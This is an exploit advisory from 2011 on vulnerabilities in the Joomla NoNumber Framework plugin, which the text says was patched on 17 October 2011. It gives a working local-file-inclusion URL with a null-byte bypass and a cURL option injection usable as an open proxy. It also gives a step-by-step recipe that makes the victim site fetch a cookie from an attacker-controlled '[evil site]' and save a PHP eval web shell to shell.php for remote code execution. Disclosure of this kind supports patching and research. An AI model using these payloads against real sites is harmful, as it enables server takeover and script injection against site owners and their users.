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Joomla NoNumber Framework Local File Inclusion / Shell Upload

Joomla NoNumber Framework Local File Inclusion / Shell Upload
Posted Oct 18, 2011
Authored by jdc

The Joomla NoNumber Framework component suffers from local file inclusion and shell upload vulnerabilities.

tags | exploit, shell, local, vulnerability, file inclusion
MD5 | ff67d8a9e5cef25a473a2b924859000f

Joomla NoNumber Framework Local File Inclusion / Shell Upload

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# Exploit Title: NoNumber Framework Joomla! Plugin Multiple Vulnerabilities
# Discovery Date: 10 October 2011
# Reported Date: 11 October 2011
# Patch Date: 17 October 2011
# Release Date: 17 October 2011
# Author: jdc
# Software Link: http://nonumber.nl

The nnframework plugin by NoNumber! contains multiple vulnerabilities. This plugin is shipped with all NoNumber extensions:

* Advanced Module Manager
* AdminBar Docker
* Add to Menu
* Articles Anywhere
* What? Nothing!
* Tooltips
* Tabber
* Sourcerer
* Slider
* Timed Styles
* Modules Anywhere
* Modalizer
* ReReplacer
* Snippets
* DB Replacer
* CustoMenu
* Content Templater
* CDN for Joomla!
* Cache Cleaner
* Better Preview

All vulnerable extensions have been patched as of 17 October 2011.



Local File Inclusion:
---------------------

index.php?nn_qp=1&file=[LFI]%00.inc.php

NOTE: the ending ".inc.php" is required.



Open Proxy/Open cURL/Shell Upload
---------------------------------

Using the following data structure, it is possible to pass arguments directly into cURL:

index.php
?nn_qp=1
&url=[REMOTE HOST]
&url_options[CURLOPT_POSTDATA]=[post data]

Whatever the plugin loads via cURL gets written out as data under the domain of the victim site.
This allows for REMOTE HOST to inject javascript that runs in the context of the victim domain.
It is also possible to gain remote access:

1. Set up a remote page that sets the following cookie:

<?eval(array_pop($_POST))?>=1

2. Force victim site to write a cookie file:

index.php
?nn_qp=1
&url=http://[evil site]
&url_options[CURLOPT_COOKIEJAR]=shell.php
&url_options[CURLOPT_COOKIEFILE]=shell.php

3. POST a single variable containing REAL shellcode to http://[victim]/shell.php

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